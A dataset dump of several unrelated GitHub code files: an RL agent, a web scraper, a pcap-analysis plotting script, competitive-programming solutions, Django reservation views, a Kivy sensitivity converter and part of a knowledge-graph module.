np.zeros((1,)), np.zeros((1,))]\n \n params[action][:] = action_param\n return (action, params)\n \n def chooseAction(self, state):\n with torch.no_grad():\n state = torch.from_numpy(state).to(self.device)\n all_action_parameters = self.actor_param.forward(state)\n# all_action_parameters=all_action_parameters[0,:]\n \n rnd = self.np_random.uniform()\n if rnd < self.epsilon: # # action exploration\n action = self.np_random.choice(self.num_actions)\n all_action_parameters = torch.from_numpy(np.random.uniform(self.action_parameter_min_numpy,\n self.action_parameter_max_numpy))\n else:\n # # action exploitation---choosing the best action using the Q network\n Q_a = self.Q.forward(state.unsqueeze(0), all_action_parameters.unsqueeze(0))\n Q_a = Q_a.detach().cpu().data.numpy()\n action = np.argmax(Q_a)\n\n all_action_parameters = all_action_parameters.cpu().data.numpy()\n offset = np.array([self.action_parameter_sizes[i] for i in range(action)], dtype=int).sum()\n action_parameters = all_action_parameters[offset:offset+self.action_parameter_sizes[action]]\n\n return action, action_parameters, all_action_parameters\n\n def inverting_gradients(self, gradient_val, action_params):\n # an approach for bounding the action space\n # Allows parameters to approach the bounds of the ranges without exceeding them\n # https://www.cs.utexas.edu/~pstone/Courses/394Rfall19/resources/week9-matthew.pdf\n \n pmax = self.action_parameter_max\n pmin = self.action_parameter_min\n range_val = self.action_parameter_range\n\n with torch.no_grad():\n index = gradient_val > 0\n gradient_val[index] *= (index.float() * (pmax - action_params) / range_val)[index]\n gradient_val[~index] *= ((~index).float() * (action_params - pmin) / range_val)[~index]\n\n return gradient_val\n\n def step(self, state, action, reward, next_state, next_action, terminal):\n act, all_action_parameters = action\n self._step += 1\n\n self._add_sample(state, np.concatenate(([act],all_action_parameters)).ravel(), reward, next_state, np.concatenate(([next_action[0]],next_action[1])).ravel(), terminal=terminal)\n if self._step >= self.batch_size and self._step >= self.memory_trigger:\n self.train()\n\n def _add_sample(self, state, action, reward, next_state, next_action, terminal):\n # add one element to the replay buffer\n self.replay_memory.append(state, action, reward, next_state, terminal=terminal)\n\n def train(self):\n # train the agent by updating the networks weights\n # the pseudocode for training is included in Algorithm 1 of the paper: https://arxiv.org/pdf/1810.06394v1.pdf\n # paper title: \"Parametrized Deep Q-Networks Learning: Reinforcement Learning with Discrete-Continuous Hybrid Action Space\"\n if self._step < self.batch_size or self._step < self.memory_trigger: \n return # wait until the replay buffer is sufficiently filled\n # Sample a random batch from the replay buffer\n states, actions, rewards, next_states, terminals = self.replay_memory.sample(self.batch_size, random_machine=self.np_random)\n # extract and reshape data to be used for training the networks\n states = torch.from_numpy(states).to(self.device) # states\n actions_combined = torch.from_numpy(actions).to(self.device) # all actions combined\n actions = actions_combined[:, 0].long() # extract actions (integer)\n action_parameters = actions_combined[:, 1:] # extract action parameters\n rewards = torch.from_numpy(rewards).to(self.device).squeeze() # create and reshape rewards\n next_states = torch.from_numpy(next_states).to(self.device) # create next states tensor\n terminals = torch.from_numpy(terminals).to(self.device).squeeze() # create terminals tensor\n\n # ********************* Update the Q-network **********************************\n \n with torch.no_grad():\n pred_next_action_parameters = self.actor_param_target.forward(next_states) # \n pred_Q_a = self.Q_target(next_states, pred_next_action_parameters)\n Qprime = torch.max(pred_Q_a, 1, keepdim=True)[0].squeeze()\n\n # Compute the target\n target = rewards + (1 - terminals) * self.gamma * Qprime\n\n # Compute current Q-values \n Q_values = self.Q(states, action_parameters)\n y_predicted = Q_values.gather(1, actions.view(-1, 1)).squeeze()\n loss_Q = F.mse_loss(y_predicted, target) # calculate MSE\n\n self.Q_optimiser.zero_grad()\n loss_Q.backward()\n torch.nn.utils.clip_grad_norm_(self.Q.parameters(), self.clip_grad)\n self.Q_optimiser.step()\n\n # ************************* Update actor parameter weights******************\n with torch.no_grad():\n action_params = self.actor_param(states)\n action_params.requires_grad = True\n Q = self.Q(states, action_params)\n Q_loss = torch.mean(torch.sum(Q, 1))\n self.Q.zero_grad()\n Q_loss.backward()\n \n delta_inverted_grad = deepcopy(action_params.grad.data)\n action_params = self.actor_param(Variable(states))\n delta_inverted_grad[:] = self.inverting_gradients(delta_inverted_grad, action_params) \n\n final = -torch.mul(delta_inverted_grad, action_params)\n self.actor_param.zero_grad()\n final.backward(torch.ones(final.shape).to(self.device))\n torch.nn.utils.clip_grad_norm_(self.actor_param.parameters(), self.clip_grad)\n\n self.actor_param_optimiser.step()\n\n self.update_weights(self.Q, self.Q_target, self.tau_Q) # perform soft update for Q network\n self.update_weights(self.actor_param, self.actor_param_target, self.tau_actor_param) # perform soft update for actor parameter network\n\n def update_weights(self,old_network, target_network, tau):\n # perform soft update using the parameter tau\n for target_param, param in zip(target_network.parameters(), old_network.parameters()):\n target_param.data.copy_(tau * param.data + (1.0 - tau) * target_param.data)\n\n\n def target_network_initialize(self, old_network, target_network):\n # copy network weights into target networks as a start\n for target_param, param in zip(target_network.parameters(), old_network.parameters()):\n target_param.data.copy_(param.data)\n \n","repo_name":"imj-github/Platform-Environment-Agent","sub_path":"RPDQN_agent.py","file_name":"RPDQN_agent.py","file_ext":"py","file_size_in_byte":22093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5868094088","text":"import requests\nfrom bs4 import BeautifulSoup\n\nurl = 'https://quotes.toscrape.com/page/1/'\n\n# Отправляем GET-запрос\nresponse = requests.get(url)\n\n# Создаем объект BeautifulSoup для парсинга HTML-кода страницы\nsoup = BeautifulSoup(response.text, 'html.parser')\n\n# Находим элемент с информацией о количестве страниц\npagination = soup.find('ul', class_='pagination')\nlast_page = pagination.find_all('a')[-2].text\n\nprint(f\"Количество страниц: {last_page}\")\n\n# Количество страниц: 10\n","repo_name":"juliamin316/d_z","sub_path":"dz_4/number of pages.py","file_name":"number of pages.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6574334691","text":"import configparser\nimport sys\nimport argparse\nimport subprocess\nimport time\nimport ast\nimport os\n\n####################################################################################################\n\"\"\"\nget_options\n get user options\n input : argv[1:]\n output: options\n\"\"\"\ndef get_options(args=sys.argv[1:]):\n parser = argparse.ArgumentParser(description=\"Parse user input\")\n parser.add_argument('-t', '--topo', dest='topo', help='number of topology to be analysed', required=True)\n parser.add_argument('-s', '--scenario', dest='scenario', help='number of scenario', required=True)\n parser.add_argument('-b', '--bw', dest='bw_cfg', help='BW CFG', required=True)\n parser.add_argument('-p', '--phy', dest='is_phy', help='is phy', required=False, default=False, action='store_true')\n options = parser.parse_args(args)\n return options\n\n####################################################################################################\n\"\"\"\nanalyze_and_plot\n analyze pcap files and plot TP graphs for each scenario\n input : Topology, scenario and BW_CFG numbers + is physical topology\n output: 1) statistics files\n 2) TP graphs\n\"\"\"\ndef analyze_and_plot(topo, sc, bw_cfg, is_phy):\n prefix_phy = \"\"\n suffix_phy = \"\"\n if(is_phy):\n prefix_phy=\"phy_\"\n suffix_phy=\"_phy\"\n topo_cfg = configparser.ConfigParser()\n topo_cfg.read(\"cfg/Topo{}_cfg{}.ini\".format(topo, suffix_phy))\n print(\"***processing Topo{} scenario{} bw_cfg_{}***\".format(topo, sc, bw_cfg))\n sc_dict = ast.literal_eval(topo_cfg[\"sc\"][str(sc)])\n clients_num = int(sc_dict[\"active_clients\"])\n\n for c in range(clients_num):\n # for c in range(2,10):\n with open('../runs/Topo{}/{}automatic/scenario{}/bw_cfg_{}/statistics_c{}.log'.format(topo, prefix_phy, sc, bw_cfg, c), 'w') as f:\n captcp_process = subprocess.Popen(['captcp', 'statistic', '../runs/Topo{}/{}automatic/scenario{}/bw_cfg_{}/c{}.pcap'.format(topo, prefix_phy, sc, bw_cfg, c)], stdout=f)\n captcp_process.wait()\n f.close()\n\n # find flow according to connection\n if(is_phy):\n # if(c == 1):\n # # WA for phy scenario (port 5002 is not working on 130)\n # connection = \"\\'{}:{} -> {}133:{}\\'\".format(topo_cfg[\"ips\"][\"client_base_ip\"] + str(c + 129), str(c + int(topo_cfg[\"ports\"][\"client_base_port\"]) + 2), topo_cfg[\"ips\"][\"server_base_ip\"], str(c + int(topo_cfg[\"ports\"][\"server_base_port\"]) + 2))\n # else:\n if(c<6):\n connection = \"\\'{}:{} -> {}133:{}\\'\".format(topo_cfg[\"ips\"][\"client_base_ip\"] + str(c + 109), str(c + int(topo_cfg[\"ports\"][\"client_base_port\"])), topo_cfg[\"ips\"][\"server_base_ip\"], str(c + int(topo_cfg[\"ports\"][\"server_base_port\"])))\n elif(c>=6 and c<9):\n connection = \"\\'{}:{} -> {}133:{}\\'\".format(topo_cfg[\"ips\"][\"client_base_ip\"] + str(c-6 + 129), str(c + int(topo_cfg[\"ports\"][\"client_base_port\"])), topo_cfg[\"ips\"][\"server_base_ip\"], str(c + int(topo_cfg[\"ports\"][\"server_base_port\"])))\n else:\n connection = \"\\'{}:{} -> {}133:{}\\'\".format(topo_cfg[\"ips\"][\"client_base_ip\"] + str(134), str(c + int(topo_cfg[\"ports\"][\"client_base_port\"])), topo_cfg[\"ips\"][\"server_base_ip\"], str(c + int(topo_cfg[\"ports\"][\"server_base_port\"])))\n else:\n connection = \"\\'{}:{} -> {}100:{}\\'\".format(topo_cfg[\"ips\"][\"client_base_ip\"] + str(c + 1), str(c + int(topo_cfg[\"ports\"][\"client_base_port\"])), topo_cfg[\"ips\"][\"server_base_ip\"], str(c + int(topo_cfg[\"ports\"][\"server_base_port\"])))\n print(connection)\n cmd = \"cat ../runs/Topo{}/{}automatic/scenario{}/bw_cfg_{}/statistics_c{}.log | grep {}\".format(topo, prefix_phy, sc, bw_cfg, c, connection)\n out = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)\n out.wait()\n flow_list = out.communicate()[0].split(\" \")\n index = flow_list.index('Flow')\n flow = flow_list[index + 1]\n\n # clean graph dirs\n rm_proc = subprocess.Popen(['rm', '-rf', '../runs/Topo{}/{}automatic/scenario{}/bw_cfg_{}/graphs_c{}'.format(topo, prefix_phy, sc, bw_cfg, c)])\n\n # make graph dir\n mkdir_proc = subprocess.Popen(['mkdir', '../runs/Topo{}/{}automatic/scenario{}/bw_cfg_{}/graphs_c{}'.format(topo, prefix_phy, sc, bw_cfg, c)])\n mkdir_proc.wait()\n\n # generate data files for graphs\n cmd = \"captcp throughput -s 0.1 -i -f {} -o ../runs/Topo{}/{}automatic/scenario{}/bw_cfg_{}/graphs_c{} ../runs/Topo{}/{}automatic/scenario{}/bw_cfg_{}/c{}.pcap -p -u megabit\".format(flow, topo, prefix_phy, sc, bw_cfg, c, topo, prefix_phy, sc, bw_cfg, c)\n out = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)\n out.wait()\n\n # modify the .gpi file\n bw_dict = {}\n if(topo == 1):\n bw_dict = ast.literal_eval(topo_cfg[\"cfg_bw\"][str(bw_cfg)])\n gpi_path = \"../runs/Topo{}/{}automatic/scenario{}/bw_cfg_{}/graphs_c{}/\".format(topo, prefix_phy, sc, bw_cfg, c)\n os.system(\"mv \" + gpi_path + \"throughput.gpi \" + gpi_path + \"tmp.gpi\")\n print(\"mv \" + gpi_path + \"throughput.gpi \" + gpi_path + \"tmp.gpi\")\n writer = open(gpi_path + \"throughput.gpi\", 'w')\n with open(gpi_path + \"tmp.gpi\", 'r') as reader:\n lines = reader.readlines()\n for line in lines:\n if(\"set format y\" in line):\n if(topo == 1):\n writer.write(\"set yrange [1:{}]\".format(bw_dict[\"client{}_bw\".format(c)]))\n else:\n writer.write(\"set yrange [1:1000]\")\n else:\n writer.write(line)\n reader.close()\n writer.close()\n os.system(\"rm -rf \" + gpi_path + \"tmp.gpi \")\n\n # generate TP graphs\n cmd = \"make -C ../runs/Topo{}/{}automatic/scenario{}/bw_cfg_{}/graphs_c{}\".format(topo, prefix_phy, sc, bw_cfg, c)\n out = subprocess.Popen(cmd, shell=True)\n out.wait()\n\n####################################################################################################\nif __name__ == '__main__':\n options = get_options()\n topo_num = int(options.topo)\n scenario_num = int(options.scenario)\n bw_cfg = int(options.bw_cfg)\n phy = options.is_phy\n analyze_and_plot(topo_num, scenario_num, bw_cfg, phy)\n","repo_name":"YaraMulla/adham","sub_path":"src/pcap_parse_and_plot_tp.py","file_name":"pcap_parse_and_plot_tp.py","file_ext":"py","file_size_in_byte":6455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23433468591","text":"import sys\r\nimport os\r\nimport shutil\r\nimport csv\r\nimport math as m\r\nimport re\r\n\r\n#====================================\r\n# CONSTANTS\r\n#====================================\r\n# file structure related\r\nINPUT_PATH = r\"C:\\Users\\Dan\\Dropbox\\Documents\\Google Code Jam\\2014\\Deceiptful War\\D-large.in\"\r\nOUTPUT_PATH = r\"C:\\Users\\Dan\\Dropbox\\Documents\\Google Code Jam\\2014\\Deceiptful War\\Out\"\r\n\r\n# verbose flag\r\n# v = True\r\nv = False\r\n\r\n#====================================\r\n# MAIN FUNCTION\r\n#====================================\r\n\r\n\r\ndef run(loadPath, outputPath):\r\n f = open(loadPath, \"r\")\r\n numCases = int(f.readline())\r\n\r\n output = \"\"\r\n\r\n for i in range(numCases):\r\n solution = solve(f)\r\n output += \"Case #\" + str(i + 1) + \": \" + str(solution[0]) + \" \" + str(solution[1])\r\n output += \"\\n\"\r\n\r\n fOut = open(outputPath, 'w')\r\n fOut.write(output)\r\n\r\ndef solve(f):\r\n rounds = int(f.readline())\r\n nSorted = sorted([float(x) for x in f.readline().split()])\r\n kSorted = sorted([float(x) for x in f.readline().split()])\r\n nSortedClone = nSorted[:]\r\n kSortedClone = kSorted[:]\r\n\r\n numCheatingWins = solveGame(nSorted, kSorted, rounds, True)\r\n numWins = solveGame(nSortedClone, kSortedClone, rounds, False)\r\n\r\n return numCheatingWins, numWins\r\n\r\ndef solveGame(nSorted, kSorted, rounds, cheating):\r\n nWins = 0\r\n for r in range(rounds):\r\n print\r\n smallestN = nSorted.pop(0)\r\n smallestK = kSorted[0]\r\n \r\n if cheating:\r\n if smallestN > smallestK:\r\n moveN = (smallestN, 0.9999999999)\r\n else:\r\n moveN = (smallestN, kSorted[-1]-0.000001)\r\n else:\r\n if smallestN > smallestK:\r\n # (actual, tells)\r\n moveN = (smallestN, smallestN)\r\n else:\r\n moveN = (smallestN, smallestN)\r\n\r\n biggestK = kSorted[-1]\r\n if moveN[1] > biggestK:\r\n moveK = kSorted.pop(0)\r\n else:\r\n popK = 0\r\n breakLoop = False\r\n for x in range(len(kSorted)):\r\n if not breakLoop:\r\n if kSorted[x] > moveN[1]:\r\n popK = x\r\n breakLoop = True\r\n moveK = kSorted.pop(popK)\r\n if moveN[0]>moveK: nWins += 1\r\n # print \"%s. N(%s) %s K(%s)\" %(r, moveN, {True: \">\", False:\"<\"}[moveN>moveK], moveK)\r\n return nWins\r\n\r\n\r\nrun(INPUT_PATH, OUTPUT_PATH)","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_138/1590.py","file_name":"1590.py","file_ext":"py","file_size_in_byte":2476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33653572013","text":"birthdays = {'Alif': 'Nov 30' , 'Futu' : 'June 07'}\n\nwhile True:\n print('Input the name. For exit keep it blank')\n name = input()\n if name == '' :\n break\n if name in birthdays :\n print(birthdays[name])\n else :\n print('No entry found. Enter the birthday for this name')\n bday = input()\n birthdays[name] = bday\n print('Database updated')\nexit()\n","repo_name":"spectro30/automateTheBoringStuffsProjects","sub_path":"birthdays.py","file_name":"birthdays.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27568891678","text":"import datetime\nimport json\nfrom django.core.exceptions import ValidationError\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom rest_framework.pagination import PageNumberPagination\nfrom django.contrib.auth.decorators import permission_required\nfrom django.views.decorators.csrf import ensure_csrf_cookie\nfrom .serializers import ReservationSerializer\nfrom .models import Reservation, RestaurantTable\n\n\n@api_view(['POST'])\n@permission_required('reservations.add_reservation', raise_exception=True)\n@ensure_csrf_cookie\ndef create_reservation(request):\n try:\n reservation_serializer = ReservationSerializer(data=request.data)\n if reservation_serializer.is_valid():\n reservation_serializer.save()\n return Response(reservation_serializer.data, status=status.HTTP_201_CREATED)\n return Response(reservation_serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n except ValidationError as e:\n return Response(e.message, status=status.HTTP_400_BAD_REQUEST)\n\n\n@api_view(['GET'])\n@permission_required('reservations.view_reservation', raise_exception=True)\n@ensure_csrf_cookie\ndef get_time_slots(request):\n time_slots = []\n minimum_number_of_seats = RestaurantTable.objects.filter(num_of_seats__gte=request.GET['num_of_customer_seats']).order_by('num_of_seats').first().num_of_seats\n allowed_tables = RestaurantTable.objects.filter(num_of_seats=minimum_number_of_seats)\n today = datetime.datetime.now().date()\n for table in allowed_tables:\n reservations = Reservation.objects.filter(date=today,\n start_time__gte=datetime.datetime.now().time(),\n table=table)\n time_slots.append({'start_time': datetime.datetime.now().time(),\n 'end_time': reservations.first().start_time,\n 'table': table.id}) if any(reservations) else \"\"\n print(\"Reservations: \", reservations)\n try:\n for i in range(0, len(reservations) + 1):\n time_slot = dict()\n time_slot['start_time'] = reservations[i].end_time\n time_slot['end_time'] = reservations[i + 1].start_time\n time_slot['table'] = table.id\n time_slots.append(time_slot)\n except IndexError:\n pass\n paginator = PaginationWithPagesCount()\n paginator.page_size = 1\n paginator.paginate_queryset(time_slots, request)\n return paginator.get_paginated_response(time_slots)\n\n\nclass PaginationWithPagesCount(PageNumberPagination):\n def get_paginated_response(self, data):\n return Response({\n 'links': {\n 'next': self.get_next_link(),\n 'previous': self.get_previous_link()\n },\n 'count': self.page.paginator.count,\n 'total_pages': self.page.paginator.num_pages,\n 'result': data\n })","repo_name":"nasserahmed96/restaurants_project","sub_path":"reservations/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35861279231","text":"class Node:\n def __init__(self, char):\n self.char = char\n self.children = {}\n self.end = False\n\n\nclass Solution:\n\n def __init__(self):\n self.trie = Node('')\n\n def add(self, word) -> None:\n node = self.trie\n\n for char in word:\n if char in node.children:\n node = node.children[char]\n else:\n node.children[char] = Node(char)\n node = node.children[char]\n\n node.end = True\n\n def dfs(self, board, node, y, x, path):\n h, w = len(board), len(board[0])\n\n if node.end:\n self.output.append(path)\n node.end = False\n\n if not (0 <= y < h and 0 <= x < w):\n return\n\n ch = board[y][x]\n\n if ch not in node.children:\n return\n\n board[y][x] = '#'\n\n for cy, cx in ((y + 1, x), (y - 1, x), (y, x + 1), (y, x - 1)):\n self.dfs(board, node.children[ch], cy, cx, path + ch)\n\n board[y][x] = ch\n\n def findWords(self, board: List[List[str]], words: List[str]) -> List[str]:\n self.output = []\n\n for word in words:\n self.add(word)\n\n h, w = len(board), len(board[0])\n\n for y in range(h):\n for x in range(w):\n self.dfs(board, self.trie, y, x, '')\n\n return self.output\n","repo_name":"pbelskiy/contest","sub_path":"leetcode.com/0212_word_search_2/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"40479815613","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth.decorators import login_required\nfrom .forms import ReservationForm\nfrom django.http import JsonResponse \nfrom .models import Reservation\n\n# Create your views here.\ndef index(request): \n all_events = Reservation.objects.all()\n context = {\n \"events\":all_events,\n }\n return render(request,'calender.html',context)\n\ndef all_events(request): \n all_events = Reservation.objects.all() \n out = [] \n for event in all_events: \n out.append({ \n 'title': event.user.username,\n 'user': event.user.username, \n 'date': event.date.strftime('%Y-%m-%d'), \n }) \n \n return JsonResponse(out, safe=False) \n\ndef add_event(request):\n date = request.GET.get(\"date\", None)\n username = request.GET.get(\"username\", None)\n event = Reservation(user=str(username), date=date)\n event.save()\n data = {}\n return JsonResponse(data) \n\n\n# def update(request):\n# date = request.GET.get(\"date\", None)\n# username = request.GET.get(\"username\", None)\n# event = Reservation.objects.get(username=username)\n# event.username = username\n# event.date = date\n# event.save()\n# data = {}\n# return JsonResponse(data)\n \n# def remove(request):\n# username = request.GET.get(\"username\", None)\n# event = Reservation.objects.get(username=username)\n# event.delete()\n# data = {}\n# return JsonResponse(data)\n\n\n# @login_required\n# def reserve(request):\n# if request.method == 'POST':\n# form = ReservationForm(request.POST)\n# if form.is_valid():\n# date = form.cleaned_data['date']\n# existing_reservation = Reservation.objects.filter(user=request.user, date=date).first()\n# if existing_reservation:\n# # The user has already made a reservation for this date\n# # You can add a custom error message to the form like this:\n# form.add_error('date', '이미 예약하신 날짜입니다')\n# else:\n# # The user has not made a reservation for this date yet\n# reservation = form.save(commit=False)\n# reservation.user = request.user\n# reservation.save()\n# else:\n# form = ReservationForm()\n# return render(request, 'calender.html', {'form': form})\n","repo_name":"FitCoderOfficial/JW_congregation_management","sub_path":"display/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14201076558","text":"from kivy.app import App\nfrom kivy.uix.gridlayout import GridLayout\nfrom kivy.uix.label import Label\nfrom kivy.uix.button import Button\nfrom kivy.uix.textinput import TextInput\n\n\nclass CSGO_Val_Sens_App(App):\n def build(self):\n self.window = GridLayout()\n self.window.cols = 2\n self.window.rows = 5\n self.labels = [\n Label(text='CSGO DPI'),\n Label(text='CSGO sensitivity'),\n Label(text='Valorant DPI'),\n Label(text='Valorant sensitivity')]\n self.text_inputs = [\n TextInput(input_filter='int', multiline=False),\n TextInput(input_filter='float', multiline=False),\n TextInput(input_filter='int', multiline=False),\n TextInput(input_filter='float', multiline=False)]\n self.buttons = [\n Button(text='CSGO to Valorant'),\n Button(text='Valorant to CSGO')] \n for i in range(len(self.labels)):\n self.window.add_widget(self.labels[i])\n self.window.add_widget(self.text_inputs[i])\n for btn in self.buttons:\n self.window.add_widget(btn)\n self.buttons[0].bind(on_press=self.btn_on_csgo_to_valo_press)\n self.buttons[1].bind(on_press=self.btn_on_valo_to_csgo_press)\n return self.window\n\n def btn_on_csgo_to_valo_press(self, instance):\n if self.text_inputs[0].text == '': return\n if self.text_inputs[1].text == '': return\n if self.text_inputs[2].text == '': return\n valo_sens = (float(self.text_inputs[1].text) / 3.18) * (float(self.text_inputs[0].text) / float(self.text_inputs[2].text))\n self.text_inputs[3].text = str(valo_sens)\n\n def btn_on_valo_to_csgo_press(self, instance):\n if self.text_inputs[0].text == '': return\n if self.text_inputs[2].text == '': return\n if self.text_inputs[3].text == '': return\n csgo_sens = (float(self.text_inputs[3].text) * 3.18) * (float(self.text_inputs[2].text) / float(self.text_inputs[0].text))\n self.text_inputs[1].text = str(csgo_sens)\n\n\nif __name__ == \"__main__\":\n CSGO_Val_Sens_App().run()\n","repo_name":"upperdim/csgo-valorant-sens-converter-app","sub_path":"python_kivy/csgo_val_sens_app.py","file_name":"csgo_val_sens_app.py","file_ext":"py","file_size_in_byte":2122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28048257621","text":"import os\nimport sys\nimport re\nimport pandas as pd\nimport numpy as np\nimport ast\nfrom operator import itemgetter\nimport networkx as nx\nfrom ckg import ckg_utils\nimport dash_cytoscape as cyto\nfrom ckg.graphdb_connector import connector\nfrom ckg.report_manager import report as rp\nfrom ckg.analytics_core import utils\nfrom ckg.analytics_core.viz import viz, color_list\nfrom networkx.readwrite import json_graph\n\nckg_config = ckg_utils.read_ckg_config()\nlog_config = ckg_config['report_manager_log']\nlogger = ckg_utils.setup_logging(log_config, key=\"knowledge\")\ncyto.load_extra_layouts()\n\n\nclass Knowledge:\n def __init__(self, identifier, data, focus_on=\"Protein\", nodes={}, relationships={}, queries_file=None, keep_nodes=[], colors={}, graph=None, report={}):\n self._identifier = identifier\n self._data = data\n self._focus_on = focus_on\n self._colors = {}\n self._nodes = nodes\n self._relationships = relationships\n self._queries_file = queries_file\n self._graph = graph\n self._report = report\n self._default_color = '#636363'\n self._entities = [\"Protein\", \"Disease\", \"Drug\", \"Pathway\", \"Biological_process\", \"Complex\", \"Publication\", \"Tissue\", \"Metabolite\", \"Phenotype\"]\n self.remove_entity(self._focus_on)\n self._colors = colors\n self._keep_nodes = keep_nodes\n if len(colors) == 0:\n self._colors = {'Protein': '#756bb1',\n 'Clinical_variable': '#542788',\n 'Drug': '#c51b7d',\n 'Tissue': '#66c2a5',\n 'Disease': '#b2182b',\n 'Pathway': '#0570b0',\n 'Publication': '#b35806',\n 'Biological_process': '#e6f598',\n 'Metabolite': '#f46d43',\n 'Phenotype': '#ff7f00',\n 'Project': '#3288bd',\n 'Complex': '#31a354',\n 'upregulated': '#d53e4f',\n 'downregulated': '#3288bd'\n }\n\n @property\n def identifier(self):\n return self._identifier\n\n @identifier.setter\n def identifier(self, identifier):\n self._identifier = identifier\n\n @property\n def data(self):\n return self._data\n\n @data.setter\n def data(self, data):\n self._data = data\n \n @property\n def focus_on(self):\n return self._focus_on\n\n @focus_on.setter\n def focus_on(self, focus_on):\n self._focus_on = focus_on\n\n @property\n def entities(self):\n return self._entities\n\n @entities.setter\n def entities(self, entities):\n self._entities = entities\n \n def remove_entity(self, entity):\n if entity in self._entities:\n self._entities.remove(entity)\n\n @property\n def nodes(self):\n return self._nodes\n\n @nodes.setter\n def nodes(self, nodes):\n self._nodes = nodes\n\n def update_nodes(self, nodes):\n self._nodes.update(nodes)\n\n @property\n def relationships(self):\n return self._relationships\n\n @relationships.setter\n def relationships(self, relationships):\n self._relationships = relationships\n\n def update_relationships(self, relationships):\n self._relationships.update(relationships)\n\n @property\n def queries_file(self):\n return self._queries_file\n\n @queries_file.setter\n def queries_file(self, queries_file):\n self._queries_file = queries_file\n\n @property\n def colors(self):\n return self._colors\n\n @colors.setter\n def colors(self, colors):\n self._colors = colors\n\n @property\n def default_color(self):\n return self._default_color\n\n @default_color.setter\n def default_color(self, default_color):\n self._default_color = default_color\n\n @property\n def report(self):\n return self._report\n\n @report.setter\n def report(self, report):\n self._report = report\n\n @property\n def graph(self):\n return self._graph\n\n @graph.setter\n def graph(self, graph):\n self._graph = graph\n\n @property\n def keep_nodes(self):\n return self._keep_nodes\n\n @keep_nodes.setter\n def keep_nodes(self, node_ids):\n self._keep_nodes = node_ids\n\n def empty_graph(self):\n self.nodes = {}\n self.relationships = {}\n self.graph = None\n \n def get_nodes(self, query_type):\n nodes = set()\n for node in self.nodes:\n if \"type\" in self.nodes[node]:\n if self.nodes[node][\"type\"] == query_type:\n nodes.add(node)\n return list(nodes)\n\n def generate_knowledge_from_regulation(self, entity):\n nodes = {}\n relationships = {}\n color = self.colors[entity] if entity in self.colors else self.default_color\n if \"regulated\" in self.data:\n for n in self.data['regulated']:\n if n not in ['sample', 'group', 'subject']:\n nodes.update({n: {'type': entity, 'color': color}})\n relationships.update({('Regulated', n): {'type': 'is_regulated', 'weight': 1, 'source_color': self.default_color, 'target_color': color}})\n\n return nodes, relationships\n\n def genreate_knowledge_from_correlation(self, entity_node1, entity_node2, filter, cutoff=0.5, label='correlation_correlation'):\n nodes = {}\n relationships = {}\n node1_color = self.colors[entity_node1] if entity_node1 in self.colors else self.default_color\n node2_color = self.colors[entity_node2] if entity_node2 in self.colors else self.default_color\n if label in self.data:\n for i, row in self.data[label].iterrows():\n if len(filter) > 0:\n if row['node1'] not in filter or row['node2'] not in filter:\n continue\n if np.abs(row['weight']) >= cutoff:\n #nodes.update({row['node1']: {'type': entity_node1, 'color': node1_color}, row['node2']: {'type': entity_node2, 'color': node2_color}})\n relationships.update({(row['node1'], row['node2']): {'type': 'correlates', 'weight': row['weight'], 'width': np.abs(row['weight']), 'source_color': node1_color, 'target_color': node2_color}})\n\n return nodes, relationships\n\n def generate_knowledge_from_associations(self, df, name):\n nodes = {}\n relationships = {}\n node1_color = self.colors['Protein'] if 'Protein' in self.colors else self.default_color\n if 'literature' not in name:\n entity = name.split('_')[1].capitalize()\n node2_color = self.colors[entity] if entity in self.colors else self.default_color\n if 'Proteins' in df and entity in df:\n if 'score' not in df:\n df['score'] = 1.0\n\n aux = df[['Proteins', entity, 'score']]\n for i, row in aux.iterrows():\n proteins = row['Proteins'].split(';')\n for p in proteins:\n nodes.update({p: {'type': 'Protein', 'color': node1_color}, row[entity]: {'type': entity, 'color': node2_color}})\n relationships.update({(p, row[entity]): {'type': 'associated_with', 'weight': 0.0, 'width': np.abs(row['score']), 'source_color': node1_color, 'target_color': node2_color}})\n else:\n if 'PMID' in df and 'Proteins' in df and 'Diseases' in df:\n aux = df[['PMID', 'Proteins', 'Diseases']]\n aux['PMID'] = aux['PMID'].astype(int).astype(str)\n node2_color = self.colors[\"Publication\"] if \"Publication\" in self.colors else self.default_color\n node3_color = self.colors[\"Disease\"] if \"Disease\" in self.colors else self.default_color\n for i, row in aux.iterrows():\n proteins = row['Proteins']\n if proteins is not None:\n if isinstance(proteins, str):\n proteins = proteins.split(';')\n for p in proteins:\n nodes.update({p: {'type': 'Protein', 'color': node1_color}, \"PMID:\"+row['PMID']: {'type': \"Publication\", 'color': node2_color}})\n relationships.update({(p, \"PMID:\"+row['PMID']): {'type': 'mentioned_in_publication', 'weight': 0.0, 'width': 1.0, 'source_color': node1_color, 'target_color': node2_color}})\n diseases = row['Diseases']\n if diseases is not None:\n if isinstance(diseases, str):\n diseases = diseases.split(';')\n for d in diseases:\n nodes.update({d: {'type': 'Disease', 'color': node3_color}})\n relationships.update({(d, 